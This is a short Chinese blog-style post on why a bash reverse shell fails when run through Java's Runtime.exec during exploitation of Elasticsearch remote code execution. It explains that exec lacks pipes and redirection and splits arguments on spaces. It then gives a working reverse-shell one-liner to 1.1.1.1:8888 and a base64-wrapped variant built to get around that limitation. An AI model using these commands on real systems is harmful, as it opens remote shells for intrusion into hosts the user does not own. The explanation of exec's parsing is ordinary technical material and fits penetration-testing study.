java中runtime.exec无法反弹bash shell的原因及解决办法

前些天在搞es的远程代码执行问题，扫描器扫出来几个，想反弹个shell出来，结果反弹不出来。

图看不清楚…总之就是使用 java.lang.Runtime.getRuntime().exec(command)，执行了反弹shell的bash命令。结果反弹不出来。

问了同事才知道，管道符、输入输出重定向，只有在bash环境下才能用。而在这里，我们使用的是java为我们提供的命令执行环境，不支持管道符、输入输出重定向等。因此需要bash64编码一下。

具体解释：

有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义。例如，ls > dir_listing在shell中执行应该将当前目录的列表输出到名为的文件中dir_listing。但是在exec()函数的上下文中，该命令将被解释为获取>和dir_listing目录的列表。

其他时候，其中包含空格的参数会被StringTokenizer类破坏，该类将空格分割为命令字符串。那样的东西ls "My Directory"会被解释为ls '"My' 'Directory"'。

通过下面这个工具可以生成对应的bash64编码后的命令。

https://x.hacking8.com/?post=293

bash -i >& /dev/tcp/1.1.1.1/8888 0>&1 ，生成的命令如下：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

具体怎么生成的以及命令是什么含义，还没有研究。抽空研究一下自己实现一个脚本。